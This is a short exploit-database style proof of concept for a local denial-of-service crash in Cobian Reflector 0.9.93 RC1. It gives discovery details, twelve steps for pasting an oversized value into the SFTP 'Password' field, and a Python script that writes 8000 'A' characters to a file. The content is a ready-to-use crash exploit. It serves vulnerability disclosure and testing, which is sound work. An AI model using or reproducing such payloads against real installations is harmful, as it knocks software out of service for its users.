Cobian Reflector 0.9.93 RC1 - 'Password' Denial of Service (PoC)

# Exploit Title: Cobian Reflector 0.9.93 RC1 - 'Password' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-16
# Vendor Homepage: https://www.cobiansoft.com/
# Software Link: https://files.cobiansoft.com/programs/crSetup-0.9.93-RC1.exe
# Tested Version: 0.9.93 RC1
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash:
# 1.- Run python code: Cobian_Reflector_0.9.93_RC1.py
# 2.- Open Cobian_Reflector_0.9.93_RC1.txt and copy content to clipboard
# 3.- Open "Cobian Reflector User Interface"
# 4.- Task -> "New task"
# 5.- Files -> Source "Add" -> SFTP
# 6.- Host -> 10.10.10.10
# 7.- Port-> 22
# 8.- User name -> admin
# 9.- Paste ClipBoard on "Password"
# 10.- Test settings
# 11.- Yes
# 12.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 8000
f = open ("Cobian_Reflector_0.9.93_RC1.txt", "w")
f.write(buffer)
f.close()